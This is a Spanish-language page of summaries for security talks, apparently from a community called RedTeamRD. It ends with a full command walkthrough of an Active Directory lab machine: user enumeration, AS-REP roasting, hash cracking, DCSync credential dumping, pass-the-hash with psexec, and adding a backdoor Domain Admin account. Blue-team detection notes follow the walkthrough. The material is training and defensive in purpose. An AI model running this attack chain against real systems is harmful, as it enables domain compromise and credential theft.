Malware 101: Process Hollowing Desmitificado

https://www.youtube.com/watch?v=3Rbfi07PvcU Resumen Detallado: Importancia de la Programación: Se destaca la importancia de las habilidades de programación en el campo de la ciberseguridad y el desarrollo de malware. La programación se enfatiza como una herramienta crucial para automatizar tareas y mejorar la eficiencia. Comprendiendo los Procesos: Explicación de qué es un proceso dentro de un sistema operativo. Se describe un proceso como un programa con funciones específicas que se ejecuta en un espacio de memoria privado, que incluye código, datos y contexto de seguridad. Creación de Procesos en Windows: Visión general de cómo se crea un proceso en el sistema operativo Windows. Se detallan los pasos, que incluyen la validación de parámetros, la carga de código ejecutable en la memoria, la creación de un objeto de proceso de Windows y la inicialización del subsistema. Espacio de Usuario y Kernel: Se hace una distinción entre el espacio de usuario y el espacio del kernel en el proceso de creación de procesos. Se explican las funciones a nivel del kernel como esenciales para la inicialización de procesos. Contexto de Seguridad: Introducción al concepto de un contexto de seguridad asociado a un proceso. El contexto de seguridad se define como lo que determina las acciones que un proceso puede o no puede realizar. Inicialización de Procesos: Explicación de los pasos finales de inicialización de un proceso antes de que comience su ejecución. Se discute el almacenamiento local, donde se pueden establecer variables, como una parte crítica del proceso. Diferentes Funciones de Creación de Procesos: Diferentes formas de crear procesos en Windows, como CreateProcess y CreateProcessInternal. Se resalta la diferencia entre estas funciones y sus mecanismos subyacentes. Desarrollo de Malware: Transición al tema del desarrollo de malware y cómo los atacantes explotan el proceso de creación de procesos. Introducción al concepto de la inyección de código en procesos huecos como una técnica utilizada por los desarrolladores de malware. Inyección de Código en Procesos: Definición de la inyección de código en procesos como la inserción de código en un proceso suspendido. El presentador indica que esta técnica no se limita a Windows, sino que se puede adaptar a otros sistemas operativos. Conclusión: Recapitulación de los puntos clave cubiertos en la presentación. Una visión general de los aspectos fundamentales de los procesos en un sistema operativo, su creación y el concepto de la inyección de código en procesos huecos. Esta presentación sirve como una introducción completa a los conceptos básicos de los procesos en un sistema operativo, los pasos involucrados en su creación y cómo estos conceptos se relacionan con el desarrollo de malware, centrándose específicamente en la inyección de código en procesos huecos como técnica utilizada por los atacantes. Facebook Twitter LinkedIn Pinterest

Hacking Windows & AD -Search

https://www.youtube.com/watch?v=HsddXa3Vwng&t=0s Resumen detallado: Enumeración de Usuarios: Se menciona la importancia de la enumeración de usuarios como un paso fundamental en la preparación de ataques. Se muestra cómo obtener una lista de posibles nombres de usuario a partir de la página web objetivo. Nomenclatura de Usuarios: Se discute la nomenclatura de usuarios en las empresas, que a menudo sigue un patrón específico (primer nombre, apellido, etc.). Se menciona la posibilidad de que algunas empresas permitan excepciones en la nomenclatura de usuarios. Herramientas Utilizadas: Se mencionan herramientas como “mbapp” para la enumeración de puertos y servicios. Se demuestra el uso de “Booster Ghostbuster” para realizar un ataque de fuerza bruta en directorios. Descubrimiento de Contraseñas: Se muestra cómo se puede obtener una contraseña potencial a partir de la información encontrada en la página web objetivo. Se enfatiza que el proceso de hackeo implica buscar debilidades y malas configuraciones, en lugar de ataques masivos. Entorno de Windows Active Directory: Se hace referencia al entorno de Windows Active Directory, explicando que se utiliza para centralizar la información de una empresa. Consejo de Seguridad: Se destaca la importancia de la seguridad en la comunidad de ciberseguridad. Se alienta a los participantes a no compartir información sensible y mantener la seguridad como una prioridad. Apoyo a la Comunidad: Se agradece a las personas que apoyan la comunidad y se resalta la importancia de la colaboración y el aprendizaje conjunto. Preguntas y Networking: Se invita a los participantes a hacer preguntas durante la presentación. Se alienta a la interacción y el networking entre los asistentes para fomentar el aprendizaje y la colaboración. Énfasis en la Ética: Se subraya que la comunidad se dedica a prácticas éticas de hacking y seguridad informática. En resumen, la charla se centra en técnicas y herramientas utilizadas en la ciberseguridad, con énfasis en la importancia de la enumeración de usuarios, la comprensión de la nomenclatura de usuarios y la ética en la seguridad informática. Se destaca la colaboración y el apoyo mutuo dentro de la comunidad RedTeamRD. Facebook Twitter LinkedIn Pinterest

Ataque & Defensa (Dario & Omar)

https://www.youtube.com/watch?v=prCr7Z94078 Escaneo de puertos : 1 minuto nmap -Pn -n –max-retries=0 –min-rate 2000 –open -p- -iL alcance.txt |grep -v "Not shown"| grep 'tcp' |cut -d '/' -f 1 | tr 'n' ',' >> ports_openn.txt pagina para detallar explicacion de comandos: https://explainshell.com/ -n : Tells Nmap to never do reverse DNS resolution on the active IP addresses it finds –max-retires 0 : to prevent any retransmissions. –min-rate 2000: –min-rate 2000 means that Nmap will try to keep the sending rate at or above 2000 packets per second. –open: solo mostrar puertos abiertos. -p- :escane desde el puerto 1 al 65536. (todos los puertos). -iL : escanea el contenido del archivo alcance.txt (especificar ruta del archivo). grep -v "Not shown": sacame todas las lineas que no digan "Not shown". grep tcp : sacame las lineas que digan tcp. cut -d '/' -f 1: solo sacame de cada linea el primer elemento , delimitado por el caracter "/". tr 'n' ',': sustituyeme el salto de lina por una coma. Escaneo de servicios : 2 minutos export ALLPORTS=$(cat ports_open.txt |tr 'n' ',' ) nmap -Pn -n -sV -sC -p $ALLPORTS -iL alcance.txt > tcp_scan_services.txt Agregar el nombre del dominio y servidor al /etc/hosts sudo echo "10.129.181.33 sauna sauna.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL" >> /etc/hosts Chequear la pagina web en el puerto 80, identificar posibles usuarios. sudo dirsearch -u http://10.129.181.33 –exclude-status=100-199,301,303-399,400-499,500-599 Fergus Smith Shaun Coins Sophie Driver Bowie Taylor Hugo Bear Steven Kerb Administrator Enumeramos directorios a ver si vemos algo interesante. sudo dirsearch -u http://10.129.181.33 –exclude-status=100-199,301,303-399,400-499,500-599 #resultado [23:22:49] 200 – 30KB – /about.html[23:23:15] 200 – 15KB – /contact.html[23:23:31] 200 – 32KB – /index.html Crear nomeclanturas de nombres de usuarios (https://github.com/urbanadventurer/username-anarchy#username-anarchy) ./username-anarchy -i posible_users.txt >> posiblekerberosusernames.txt Ahora usaremos la herramienta de kerbrute para enumerar usuarios validos con los posibles nombres que ya creamos. (https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64) ./kerbrute_linux_amd64 userenum –dc 10.129.181.33 -d EGOTISTICAL-BANK.LOCAL posiblekerberosusernames.txt >> kerberosusers.txt cat kerberosusers.txt | grep [+] | cut -d " " -f 8 | cut -d '@' -f 1 >>get_SPN_users.txt ahora que tenemos los usuarios validos,nos vamos con el puerto 88 de Kerberos. procedemos a realizar el ataque “AS-REP Roasting” donde se necesita el parámetro “pre-authentication” en un usuario de Active Directory como disabled,si es el caso, podemos solicitar datos de autenticación para cualquiera de estos usuarios y #el DC devolvería un mensaje AS-REP. Dado que parte de ese mensaje está encriptado con la contraseña del usuario, el atacante puede intentar forzar la contraseña del usuario fuera de línea. Solicitamos esa porcion encriptada con una herramienta de impacket. python /usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile kerberosusers.txt -dc-ip 10.129.181.33 -format hashcat -outputfile usersTGT.txt Ahora intentamos crackearlo con la herramienta hashcat y la lista de rockyou.txt hashcat -m 18200 usersTGT.txt /usr/share/wordlists/rockyou.txt hashcat -m 18200 usersTGT.txt /usr/share/wordlists/rockyou.txt –show >> crackhashpasswords.txt Confirmamos acceso por SMB (No tenemos). crackmapexec smb 10.129.181.33 -u fsmith -p Thestrokes23 confirmamos acceso por winrm , recuerden que vimos dichos puertos abiertos en el escaneo de nmap(si tenemos). crackmapexec winrm 10.129.181.33 -u fsmith -p Thestrokes23 nos conectamos por winrm a la maquina con las credenciales obtenidas. evil-winrm -i 10.129.181.33 -u fsmith -p Thestrokes23 PRIVILEGE ESCALATION descargamos winpeas para windows para enumerar mas rapido (https://github.com/carlospolop/PEASS-ng/releases), #con esto veremos mas adelante que se tiene configurado un inicio de sesión en automático en la maquina,con el usuario llamado svc_loanmanager del dominio con la clave “Moneymakestheworldgoround!”. upload winPEASany.exe ./winPEASany.exe >> outputwinpeas.txt si no usaramos winpeas , hay una forma manual de ver esto, consultando las llaves de registro de windows. reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" probemos credenciales crackmapexec smb 10.129.181.33 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!’ vemos que no funciona , asi que vemos los usuarios de la maquina net user vemos un usuario que tiene el nombre de svc_loanmgr, como si le cambiaron el nombre. crackmapexec smb 10.129.181.33 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!’ enumeramos el dominio bloodhound-python -ns 10.129.181.33 -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p Moneymakestheworldgoround! -c All encendemos bloodhound y neo4j en el kali (instalado por defecto o con un sudo apt-get xxxx se resuelve). sudo neo4j console bloodhound nota:la primera vez tienes que ir a la direccion de localhost de neo4j, usuario "neo4j" , pass "neo4j", te pide cambiar la clave, cuando la cambies , esa clave insertas en bloodhound. usamos este query en bloodhound MATCH p = allshortestPaths((n)-[1..]->(c)) WHERE n.name =~ '(?i)svc_loanmgr.' AND NOT c=n RETURN p descubrimos que svc_loanmgr tiene privilegios de dcsync sobre el dc , asi que realizamos un dcsync para capturar todos los hashes python /usr/share/doc/python3-impacket/examples/secretsdump.py -dc-ip 10.129.181.33 EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.181.33 nos conectamos como admin local python /usr/share/doc/python3-impacket/examples/psexec.py EGOTISTICAL-BANK.LOCAL/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e por diversion creamos una persistencia local net user badbunny hola123! /domain /add net localgroup administrators badbunny /add lo agregamos al grupo de domainadmin net group "Domain Admins" badbunny /ADD /DOMAIN iniciamos sesion como bad bunny ! python /usr/share/doc/python3-impacket/examples/wmiexec.py EGOTISTICAL-BANK.LOCAL/badbunny:'hola123!'@10.129.181.33 Referencias para posterior lectura leer diferencias entre psexec , wmiexec y smbexec >> https://medium.com/@allypetitt/windows-remoting-difference-between-psexec-wmiexec-atexec-exec-bf7d1edb5986 Detalle sobre ataque AS-rep roasting >> https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/ as-rep roasting vs kerberoasting >> https://jsecurity101.medium.com/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec#:~:text=Kerberoast%20has%20AS%2DREQ%2FAS,requesting%20a%20Kerberos%20Authentication%20Ticket. Notas de blue team -crear reglas para detectar escaneos de red. Logica: una ip connectandose por tcp a un equipo a mas de 5 puertos en un corto periodo de tiempo. -auditar dentro del active directory cuales usuarios tienen habilitado la propiedad llamada "Do not require Kerberos preauthentication". comando de powershell: Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name -implementar contrasenas que sean dificiles de adivinar, mas de 13 digitos, minusculas, mayusculas, numeros, signos especiales, evitar frases, y relacion con el usuario. -monitorear la habilitacion de la propiedad "Do not require Kerberos preauthentication" a traves del codigo de evento de windows 4738. -auditar creacion de cuentas de usuario en active directory mediante el evento 4720 y relacionarlo con el evento 4728 que detecta cuando usuarios son anadidos a "security-enabled global groups". -pro tip: en objetos importantes de active directory o honey accounts puedes habilitar Configurar la auditoría de objeto, luego monitoreamos el evento de windows 5136 que monitorea cada vez que se modifica una propiedad de un objeto de active directory. leer mas del tema: https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/ https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5136 https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 https://www.netwrix.com/how_to_detect_membership_changes_in_domain_admins_group.html https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/use-audit-active-directory-objects-track-events https://www.alteredsecurity.com/post/a-primer-on-dcsync-attack-and-detection Facebook Twitter LinkedIn Pinterest